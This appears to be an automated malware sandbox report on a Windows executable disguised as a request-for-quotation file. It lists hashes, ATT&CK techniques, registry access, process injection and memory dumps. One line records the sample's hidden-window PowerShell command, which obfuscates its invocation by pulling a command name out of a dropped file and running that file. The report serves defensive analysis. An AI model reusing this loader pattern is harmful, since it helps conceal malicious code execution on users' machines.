777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-12-2024 15:27

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General

Target

RFQ 008191.exe
Size

777KB
MD5

82ba32e4800897e8bafb32990d29f60a
SHA1

21b724df29b7ddbcd88849e7ad6ab12a4d266c4c
SHA256

777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2
SHA512

7e741fab4e31223a967c4194f31e4fd592b75dc14dde4c72c3fbd5efb28f312807f886290fa8a227037890375d3ada7597857138f4df4d905b0ae4ca7b906101
SSDEEP

12288:UXqlVfD6qKMwy8kjKsge8jLAMsnI8c78pc+HeV4PRklT3we+doWVkeehown:UXqzrTK5XsgervnIac+Hm4QT31V1hown

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1328	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RFQ 008191.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1328	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 1328	2868	RFQ 008191.exe	28
PID 2868 wrote to memory of 1328	2868	RFQ 008191.exe	28
PID 2868 wrote to memory of 1328	2868	RFQ 008191.exe	28
PID 2868 wrote to memory of 1328	2868	RFQ 008191.exe	28

C:\Users\Admin\AppData\Local\Temp\RFQ 008191.exe
"C:\Users\Admin\AppData\Local\Temp\RFQ 008191.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Prmierer=gc -raw 'C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob';$eftersgningers=$Prmierer.SubString(48853,3);.$eftersgningers($Prmierer)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1328-8-0x0000000073A71000-0x0000000073A72000-memory.dmp

Filesize
4KB

Download
memory/1328-9-0x0000000073A70000-0x000000007401B000-memory.dmp

Filesize
5.7MB

Download
memory/1328-10-0x0000000073A70000-0x000000007401B000-memory.dmp

Filesize
5.7MB

Download
memory/1328-11-0x0000000073A70000-0x000000007401B000-memory.dmp

Filesize
5.7MB

Download
memory/1328-12-0x0000000073A70000-0x000000007401B000-memory.dmp

Filesize
5.7MB

Download
memory/1328-13-0x0000000073A70000-0x000000007401B000-memory.dmp

Filesize
5.7MB

Download